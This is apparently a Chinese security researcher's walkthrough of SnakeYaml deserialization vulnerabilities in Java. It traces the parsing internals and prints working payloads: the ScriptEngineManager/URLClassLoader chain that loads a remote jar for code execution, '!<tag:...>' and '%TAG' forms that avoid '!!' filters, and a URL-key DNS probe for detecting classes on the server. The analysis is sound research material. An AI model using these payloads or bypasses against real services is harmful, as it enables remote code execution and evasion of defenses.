java的反序列化漏洞多样,有原生的反序列化,也有XMLDecoder反序列化,今天来分析一下SnakeYaml反序列化;
YAML是”YAML Ain’t a Markup Language”;它并不是一种标记语言,而是用来表示序列化的一种格式;类似于XML但比XML更简洁。在java中自然有对应的库对其进行解析,SnakeYaml;支持对象的序列化和反序列化;常见的利用javax.script.ScriptEngineManager的利用链是基于SPI机制进行实现的;
spi机制通俗一点来讲就是为相关接口提供动态实现类的机制;使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全限定类名。又有点类似于thinkphp6中最开始实现new App这个类(继承container容器)的时候会在构造器里进行provider文件里相关映射的载入,载入之后和container进行绑定;控制反转(IOC)的思想,进行调用的时候都是触发get魔术方法然后去bind里进行相关映射的实例化然后绑定到instances数组里(和container绑定);这一切都是container处理的;说的多了,回归正题;
先来写一段程序看一下yaml的处理流程;
不难理解,setter是最开始我们自己调用的;在序列化的时候调用javaBean的getter操作,如果相关class的属性本就public,则没必要;snakeYaml可直接拿到相关的属性;反序列化先调用构造器,然后调用setter进行赋值;如果属性为public,则也不会调用setter;
可以追溯一下流程分析一下:
调用load方法进行相关的加载;采用StreamReader封装之后调用loadFromReader进行处理;Object.class意味着转化结果为一个object对象;
接着跟进去loadFromReader函数;
在ParserImpl中对sreader做了相关的处理映射;追进去看一下;利用重载拿到相关映射;
在getSingleData中完成相应的转换,转换成Node节点类型:
跟进getNode看一波
在composeNode里完成相关的节点转换;
在composeNode中继续跟进看一下具体原理;composer.class下:
从这个调用点一路追踪下去就可以看到整体的调换过程;具体的就不细贴了;
最后触发是在ParserImpl.class下进行相关的替换,将!!替换成为tag;然后进行拼接,形成新的tag;如下图:(node就是User)
上面这个看的更加明显;已经在此发生了替换;
一番调用和解析之后回到getSingleNode函数:
转化为Node节点类型之后返回;看一下节点的存储效果;
返回到getSingleData函数:先判断node和tag是否为空;若不是则进入后续判断yaml格式数据的类型是否为Object类型;然后再判断tag是否为空,都不满足进入后续的流程;
继续跟着调试;
进入到getClassForNode函数,先根据node中的tag拿到相关的classname。然后调用getClassForName拿到相关的class对象;
进入getClassForName函数中看一下:
可以发现是直接Class.forName直接加载并且初始化类形成class对像;
接着追溯发现是调用newInstance对相关的class进行实例化操作;拿到User实例;
然后跟着程序来到constructJavaBean2ndStep函数中;
在经过flattenMapping函数之时,触发对class的内省操作,拿到class中的相关的属性以及其数量;后续调用getValue函数对Node节点进行处理,拿到相关的值;如下图:
接着就开始对这两个节点开始循环处理,不用想此处就是赋值的操作了;
在while中循环进行处理,会先判断相关属性是否可写;
如果可写则进入后续的流程:
采用反射进行最后的处理赋值;这个点的原理就是调用相关的setter了;看下图:
最后就可进行属性的赋值;另一个属性也是这样的原理,也是最后触发setter对其进行赋值;最后实例化结束return回去对象;
分析完基本的反序列化情况,就来看一下相关漏洞利用点;因为SnakeYaml支持反序列化Java对象(上面已经分析过),所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。
进行调试:
正常的拿到了ScriptEngineManager;后续对ClassLoader以及URL进行实例化之后传入ScriptEngineManager的构造器;直接追溯到ScriptEngineManager看一波:
触发init方法;追过去;
可以看到实例化了ServiceLoader,这里就触发了SPI机制;继续深入一波:
在getServiceLoader函数中利用;跟下去
进入LazyIterator实例中进行处理;
最终在LazyIterator实例的hasNextService方法中进行加载;这里调用urlclasslaoder会先进行本地的加载;具体可以看如下图:
先进行本地的spi机制的加载,按照相关的机制规则在本地寻找相关的class实现;
可以看下面几张图:
这个是我最开始测试的时候将vps的jar包下载到本地之后进行导入;导入之后这里也会被进行相关的加载,所以可以很显然的看到是进行本地的一些spi机制的处理,这是因为java的双亲委派机制,会导致先使用parent classlaoder进行加载,先将本地处理完之后再去处理远程的加载;可以如此处理的原因是程序中写了while;会一直进行相关机制的加载,直到进行完为止;进行远程也是因为我们之前设置了urlclasslaoder的path为远程路径;
可以看到根据spi机制去拿到相关的class,然后后续会进行实例化操作从而触发恶意命令;
这是先进行本地的相关机制实现,然后就是处理我们构造的恶意数据从而进行远程的spi机制实现;
不难发现,已经去远程加载相关的jar包下的路径;这里用jar进行封装可以看下图:
可以看到处理的是一个jarLoader,对相关的内容进行请求加载;
可以看到也是拿到相关文件内部的实现类;后续就是利用Class.forName和newInstance了;就会触发恶意命令造成rce;
当然不采用jar进行封装也是可以的;要满足相应的目录如下所示:
如此才可触发相应的spi加载识别;最后触发rce;
其实分析到这里,可以看到snakeyaml的反序列化调用方式和fastjson的十分相似,所以经常将两者放在一起进行分析;那么fastjson的一些利用链条就可以尝试进行snakeyaml的反序列化调用;
一个经典的链条也可直接进行触发;
通过上面的分析,我们可以很清晰的看到他的相关调用流程和fastjson的十分相似;但是有一点不同的是fastjson会根据属性的getOnly特性来进行调用getter进行处理,然而snakeyaml不会有这个特性,所以也注定一些调用方式snakeyaml无法调用但是fastjson可以调用,就比如TemplatesImpl这个class的调用链;最后是靠着getter启动触发的;
除上述的之外,可以看到追过snakeyaml之后可以很显然的发现,!!
的功能和@type
有点类似,用于指定要反序列化的全类名。
1 | !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]] |
这条 POC 都是网上公开最常见的,所有 POC 都是基于 !! 来反序列化。这也就误导了一些程序员认为 !! 是导致反序列化的原因。其实不然,通过上述的分析可以很清晰的看到程序会先将!!
转换为tag,然后将String字符串转换为Node节点;最后的处理是根据Node节点来进行解析的;所以基本想法是如果可以找到一个可替代!!
的东西,在生成Node的时候也可以替换成相关的Node;那么也就可以不采用!!
的情况下进行反序列化攻击;贴一下相关的tag:
1 | public static final String PREFIX = "tag:yaml.org,2002:"; |
每一种对应的类型都会有其相关的tag;对于我们上述最开始的User反序列化过程来看,User类型转换成Node之后就是
1 | tag:yaml.org,2002:User |
String转化之后就为
可以看清楚都是是转化为了keyNode和valueNode,方便之后的遍历处理;转回正题,看一下官网上的描述:
可以看到还有两种写法;就是!
加上<
的方式;先来测试一下string类型的;另一种稍后说;
可以很清晰的看到已经成功的转化;那么后续的就很简单了。不过要说明一个问题,这种方法调用的时候需要被反序列化类有一个单参数构造器;这个十分的必要;举个例子如下:如果User里没有单参数构造器;则会抛出如此的错误:
加上一个参数构造器;
所以依葫芦画瓢:
1 | String new_test = "!<tag:yaml.org,2002:javax.script.ScriptEngineManager> " + |
也可直接触发;
来说另一种写法,类似于提前声明一样;
这种要求也是需要有有参构造器;不过这里可以传入[]进行参数的赋值;所以无论几个参数都是可以的;所以照样依葫芦画瓢;
1 | String attack = "%TAG ! tag:yaml.org,2002:\n" + |
所以依然可以造成攻击:
之前在看星球,发现有个师傅提了一个很有意思的trick;想必师傅们都知道在jndi高版本的利用下,可以采用处理MLet进行loadCLass的载入,从而结合addURL进行相关的对外访问请求,这里援引相关的思路,在snakeYaml里进行相关的处理;
最开始的一个有意思的点是我想到了urldns的一个利用点,发生在hashCode;对key进行相关的计算,因为彩虹表太大,所以存储的时候不可能直接全部存储,所以要进行外部的hashCode;那么利用这个点;
一步一步来;
可以看到一个解析类里实现了对map的解析情况,如果存在key,就会直接将key进行hashcode操作;那么就可以传入一个URL实例,触发其下的hashCode方法然后调用其handler的Hashcode方法从而去实现InetAdress的getbyname的解析;
思路有了,现在就是实现的问题;因为看到是处理map的;所以直接生成一个map看看格式;
可以看到生成的格式如最下一行,那么思路有了;构造key为URL实例,传入看看效果;
1 | String s1mple_exp = "{!!java.net.URL [\"http://twph4b.dnslog.cn\"]: 1}"; |
追一下流程;
发现这确实进入了相关的调用逻辑;
追进来看了下,很熟悉有没有;是不是看到了urldns的影子?
到这里就不用过多解释了;已经可以进行访问解析了;那么至此一个外部访问的效果已经达成,那么如何对内部的class做检测呢?我们的目标可是实现相关的内部敏感类的检测;其实分析过一些“案例”的师傅不难理解,直接可以再其前面加载一个class;如果存在则程序正常执行触发urldns;否则就会抛出错误不会触发urldns;这是一个常规的方法;
两张图对比一下应该很清晰了;这里对class的实例化操作最好采用{};而不要用[];因为很简单的原理,两者采用的获取构造器的方式不一样,这个可以自行跟一下就可,不是很难理解,但使用{}的前提是,相关的class里需要有无参构造器;否则还是需要采用[]进行赋参数值才可成功实例化;